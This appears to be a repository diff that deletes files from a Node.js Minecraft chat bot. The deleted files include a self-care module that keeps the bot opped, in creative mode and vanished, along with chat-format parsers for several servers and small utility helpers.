if (packet.entityId !== entityId || packet.entityStatus < 24 || packet.entityStatus > 28) return
permissionLevel = packet.entityStatus - 24
})
bot.on('packet.game_state_change', packet => {
if (packet.reason !== 3) return // Reason 3 = Change Game Mode
gameMode = packet.gameMode;
});
bot.on("packet.game_state.change", packet => {
if (packet.reason !== 4) return // checks if the bot is seeing the endcredits or died
clientLock = packet.gameMode;
})
let timer;
bot.on('packet.login', (packet) => {
entityId = packet.entityId;
gameMode = packet.gameMode;
clientLock = packet.gameMode;
timer = setInterval(() => {
if (bot.options.isSavage && !bot.options.isKaboom && !bot.options.isCreayun) {
if (login) bot.chat.command('login amogusissus');
else if (register) bot.chat.command('register amogusissus amogusissus');
// else if (permissionLevel < 2) bot.chat.command(`minecraft:op ${bot.options.username}`);
else if (gameMode !== 1) bot.chat.command('minecraft:gamemode creative');
else if (clientLock !== 4) bot._client.write("client_command", { actionId: 0 });
} else if (bot.options.isCreayun && !bot.options.isKaboom && !bot.options.isSavage) {
} else if (bot.options.isKaboom && !bot.options.isSavage) {
if (permissionLevel < 2) bot.chat.command('op @s[type=player]');
else if (gameMode !== 1) bot.chat.command('minecraft:gamemode creative');
else if (!commandSpy) bot.chat.command('commandspy on');
else if (username) bot.chat.command(`username ${bot.options.username}`)
else if (nickname) bot.chat.command(`nick off`)
else if (!prefix) bot.chat.command(`prefix &8[&bPrefix&8: &3${config.prefixes[0]}&8]`);
else if (!vanished) bot.chat.command(`essentials:vanish on`);
else if (unmuted) bot.core.run(`essentials:mute ${bot.uuid}`);
else if (!god) bot.core.run(`god ${bot.options.username} enable`);
else if (!teleportToggle) bot.core.run(`tptoggle ${bot.options.username} disable`);
else if (clientLock !== 4) bot._client.write("client_command", { actionId: 0 });
}
}, 1000);
});
bot.on('end', () => {
if (timer) clearInterval(timer)
prefix = false;
commandSpy = false;
vanished = false;
prefix = false;
god = false;
unmuted = false;
username = false;
});
}
module.exports = selfcare;

View file

@ -1,16 +0,0 @@
module.exports = (bot) => {
// let aaa cook
bot.tab_complete = (str) => {
return new Promise((resolve) => {
bot._client.write('tab_complete', {
text: str, assumeCommand: false, sendBlockInSight: false
})
const tab_completeH = (packet) => {
bot._client.removeListener('tab_complete', tab_completeH)
resolve(packet.matches)
}
bot._client.once('tab_complete', tab_completeH)
})
}
}

View file

@ -1,11 +0,0 @@
const crypto = require('crypto')
function validation (bot, options, config) {
setInterval(() => {
bot.validation = {
trusted: crypto.createHash('sha256').update(Math.floor(Date.now() / 1000) + config.keys.trusted).digest('hex').substring(0, 16),
admin: crypto.createHash('sha256').update(Math.floor(Date.now() / 1000) + config.keys.admin).digest('hex').substring(0, 16),
owner: crypto.createHash('sha256').update(Math.floor(Date.now() / 1000) + config.keys.owner).digest('hex').substring(0, 16),
}
}, 100)
}
module.exports = validation

View file

@ -1,27 +0,0 @@
function ChipmunkMod (message, data, context, bot) {
try {
if (message === null || typeof message !== 'object') return
if (message.with?.length < 3 || (message.translate !== '[%s] %s %s' && message.translate !== '%s %s %s')) return
const senderComponent = message.with[1]
const contents = message.with[2]
let sender
const hoverEvent = senderComponent.hoverEvent
if (hoverEvent?.action === 'show_entity') {
const id = hoverEvent.contents.id
sender = data.players.find(player => player.uuid === id)
} else {
const stringUsername = data.getMessageAsPrismarine(senderComponent).toString() // TypeError: data.getMessageAsPrismarine is not a function
sender = data.players.find(player => player.profile.name === stringUsername)
}
if (!sender) return null;
return { sender, contents, type: 'minecraft:chat', senderComponent }
} catch(e) {
console.error(e)
}
}
module.exports = ChipmunkMod

View file

@ -1,25 +0,0 @@
const ChatMessage = require('prismarine-chat')('1.20.2');
const util = require('util');
function creayun (messageobj, data) {
let match;
let sender;
const stringify = message => new ChatMessage(message).toString()
const message = stringify(messageobj);
const playerWithPrefix = /^(.*?) (\S*?) » (.*?)$/;
const playerWithoutPrefix = /^(\S*?) » (.*?)$/
if (playerWithPrefix.test(message)) {
match = message.match(playerWithPrefix)
// console.log(match[2])
// console.log(data.players.find(player => player.profile.name.toString().replaceAll('§','') === match[2]))
// console.log(data.players)
// console.log(match[0])
// console.log(match[2])
// console.log(data.players.find(player => player.profile.name === match[2]))
sender = data.players.find(player => player.profile.name === match[2])
// sender = data.players.find(player => util.isDeepStrictEqual(player.displayName, playerListDisplayName))
// if (!sender) return;
// console.log(sender)
return { sender, contents: match[3], type: 'minecraft:chat'};
}
}
module.exports = creayun;

View file

@ -1,41 +0,0 @@
const util = require('util')
function kaboom (message, data) {
if (message === null || typeof message !== 'object') return
if (message.text !== '' || !Array.isArray(message.extra) || message.extra.length < 3) return
const children = message.extra
const prefix = children[0]
let displayName = data.senderName ?? { text: '' }
let contents = { text: '' }
if (isSeparatorAt(children, 1)) { // Missing/blank display name
if (children.length > 3) contents = children[3]
} else if (isSeparatorAt(children, 2)) {
displayName = children[1]
if (children.length > 4) contents = children[4]
} else {
return undefined
}
const playerListDisplayName = { extra: [prefix, displayName], text: '' }
let sender
if (data.uuid) {
sender = data.players.find(player => player.uuid === data.senderUuid)
} else {
const playerListDisplayName = { extra: [prefix, displayName], text: '' }
sender = data.players.find(player => util.isDeepStrictEqual(player.displayName, playerListDisplayName))
}
if (!sender) return undefined
return { sender, contents, type: 'minecraft:chat', displayName }
}
function isSeparatorAt (children, start) {
return (children[start]?.text === ':' || children[start]?.text === '\xa7f:') && children[start + 1]?.text === ' '
}
module.exports = kaboom

View file

@ -1,23 +0,0 @@
function VanillaChat (message, data, context) {
try {
if (message === null || typeof message !== 'object') return
if (message.with?.length < 2 || (message.translate !== 'chat.type.text' && message.translate !== '%s %s')) return
const senderComponent = message.with[0]
const contents = message.with[1]
let sender
const hoverEvent = senderComponent.hoverEvent
if (hoverEvent?.action === 'show_entity') {
const id = hoverEvent.contents.id
sender = data.players.find(player => player.uuid === id)
} else {
const stringUsername = data.getMessageAsPrismarine(senderComponent).toString() // TypeError: data.getMessageAsPrismarine is not a function
sender = data.players.find(player => player.profile.name === stringUsername)
}
if (!sender) return stringUsername
return { sender, contents, type: 'minecraft:chat', senderComponent }
} catch(e) {
console.error(`${e.toString()}`)
}
}
module.exports = VanillaChat;

View file

@ -1,26 +0,0 @@
function sayConsole (message, data, context, bot) {
try {
if (message === null || typeof message !== 'object') return
if (message.with?.length < 2 || (message.translate !== 'chat.type.announcement' && message.translate !== '%s %s')) return
const senderComponent = message.with[0]
const contents = message.with[1]
let sender
const hoverEvent = senderComponent.hoverEvent
if (hoverEvent?.action === 'show_entity') {
const id = hoverEvent?.contents?.id
sender = data.players.find(player => player.uuid === id)
} else {
const stringUsername = data.getMessageAsPrismarine(senderComponent).toString() // TypeError: data.getMessageAsPrismarine is not a function
sender = data.players.find(player => player.profile.name) //=== stringusername)
}
if (!sender) return null
return { sender, contents, type: 'minecraft:chat', senderComponent }
} catch(e) {
console.error(e);
}
}
module.exports = sayConsole

View file

@ -1,25 +0,0 @@
function yfdCustomChat (message, data, context, bot) {
try {
if (message === null || typeof message !== 'object') return
if (message.with?.length < 3 || (message.translate !== '[%s] %s: %s' && message.translate !== '%s %s %s')) return
const senderComponent = message.with[1]
const contents = message.with[2]
let sender
const hoverEvent = senderComponent.hoverEvent
if (hoverEvent?.action === 'show_entity') {
const id = hoverEvent.contents.id
sender = data.players.find(player => player.uuid === id)
} else {
const stringUsername = data.getMessageAsPrismarine(senderComponent).toString() // TypeError: data.getMessageAsPrismarine is not a function
sender = data.players.find(player => player.profile.name === stringUsername)
}
if (!sender) return null
return { sender, contents, type: 'minecraft:chat', senderComponent }
} catch(e) {
console.error(e)
}
}
module.exports = yfdCustomChat

View file

@ -1,81 +0,0 @@
function ansi (message) {
const ansilist = {
"\x1B\[93m": "\x1B[33m", // Yellow
"\x1B\[96m": "\x1B[36m", // Blue
"\x1B\[94m": "\x1B[34m", // Discord Blue
"\x1B\[90m": "\x1B[30m", // Gray
"\x1B\[91m": "\x1B[31m", // Light Red
"\x1B\[95m": "\x1B\[35m", // Pink
"\x1B\[92m": "\x1B\[32m", // Green
"\x1B\[0m": "\x1B\[0m\x1B\[37m", // White
"\x1B\[97m": "\x1B\[0m\x1B\[37m", // White
"\x1B\[30m": "\x1B[30m", // black
"\x1B\[35m": "\x1B[35m", // purple
'\x1B[3m': "\x1B[23m", // italic
'\x1B[4m': "\x1B[24m", // underline
'\x1B[9m': "\x1B[29m", // strike through
'\x1B[6m': "\x1B[29m" // obfuscated
/*
Black 30 40
Red 31 41
Green 32 42
Yellow 33 43
Blue 34 44
Magenta 35 45
Cyan 36 46
White 37 47
Default 39 49
Reset 0 0
ESC[1;34;{...}m Set graphics modes for cell, separated by semicolon (;).
ESC[0m reset all modes (styles and colors)
ESC[1m ESC[22m set bold mode.
ESC[2m ESC[22m set dim/faint mode.
ESC[3m ESC[23m set italic mode.
ESC[4m ESC[24m set underline mode.
ESC[5m ESC[25m set blinking mode
ESC[7m ESC[27m set inverse/reverse mode
ESC[8m ESC[28m set hidden/invisible mode
ESC[9m ESC[29m set strikethrough mode.
*/
/*
const defaultAnsiCodes = {
'§0': '\u001b[30m',
'§1': '\u001b[34m',
'§2': '\u001b[32m',
'§3': '\u001b[36m',
'§4': '\u001b[31m',
'§5': '\u001b[35m',
'§6': '\u001b[33m',
'§7': '\u001b[37m',
'§8': '\u001b[90m',
'§9': '\u001b[94m',
'§a': '\u001b[92m',
'§b': '\u001b[96m',
'§c': '\u001b[91m',
'§d': '\u001b[95m',
'§e': '\u001b[93m',
'§f': '\u001b[97m',
'§l': '\u001b[1m',
'§o': '\u001b[3m',
'§n': '\u001b[4m',
'§m': '\u001b[9m',
'§k': '\u001b[6m',
'§r': '\u001b[0m'
}
*/
};
let i = message;
for (const ansi in ansilist) {
if (ansilist.hasOwnProperty(ansi)) {
i = i.replace(new RegExp(escapeRegExpChars(ansi), 'g'), ansilist[ansi]);
function escapeRegExpChars(text) {
return text.replace(/[-\/\\^$*+?.()|[\]{}]/g, '\\$&')
}
}
}
return i;
}
module.exports = ansi;

View file

@ -1,7 +0,0 @@
function between(min, max) {
return Math.floor(
Math.random() * (max - min) + min
)
}
module.exports = between;
// ported from FNFBoyfriendBot v3

View file

@ -1,16 +0,0 @@
// TODO: Improve how messages are stringified
const ChatMessage = require('prismarine-chat')('1.20.2')
const stringify = message => new ChatMessage(message).toString()
class CommandError extends Error {
constructor (message, filename, lineError) {
super(stringify(message), filename, lineError)
this.name = 'CommandError'
this._message = message
}
get message () {
return stringify(this._message)
}
}
module.exports = CommandError

View file

@ -1,7 +0,0 @@
class CommandSource {
constructor (player, sources) {
this.player = player;
this.sources = sources;
}
}
module.exports = CommandSource

View file

@ -1,15 +0,0 @@
const fs = require("fs");
const path = require("path");
function loadModules (bot, options, config, discordClient) {
bot.loadModule = module => module(bot, options, config, discordClient)
for (const filename of fs.readdirSync(path.join(__dirname, '../', 'modules'))) {
try {
const module = require(path.join(__dirname, '../', 'modules', filename))
bot.loadModule(module)
} catch (error) {
console.error('Failed to load module', filename, ':', error)
}
}
}
module.exports = loadModules;

View file

@ -1,5 +0,0 @@
async function delay (ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}
module.exports = delay;
// ported from FNFBoyfriendBot v3

View file

@ -1,22 +0,0 @@
const styles = {
bigint: '\xa76', // gold
boolean: '\xa76', // gold
date: '\xa75', // dark_purple
module: '\xa7n', // underline
name: undefined, //undefined
null: '\xa73', // bold
number: '\xa76', // gold
regexp: '\xa74', // dark_red
special: '\xa73', // blue
string: '\xa72', // green
symbol: '\xa72', // green
undefined: '\xa78' // dark_gray
}
function stylize (str, styleType) {
const style = styles[styleType]
if (style !== undefined) return `${style}${str}\xa7r`
return str
}
module.exports = { stylize, styles }

View file

@ -1,15 +0,0 @@
function usernameGen (bot, config) {
// const characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890';
if (bot.options.isSavage || bot.options.isCreayun && !bot.options.isKaboom) {
characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890';
} else {
characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()_-+={]}[|\\:;>.<,/?ඞ♋'
}
let username = '';
for (let i = 0; i < 10; i++ ) {
const randomIndex = Math.floor(Math.random() * characters.length);
username += characters[randomIndex];
}
return username;
}
module.exports = usernameGen;

Some files were not shown because too many files have changed in this diff Show more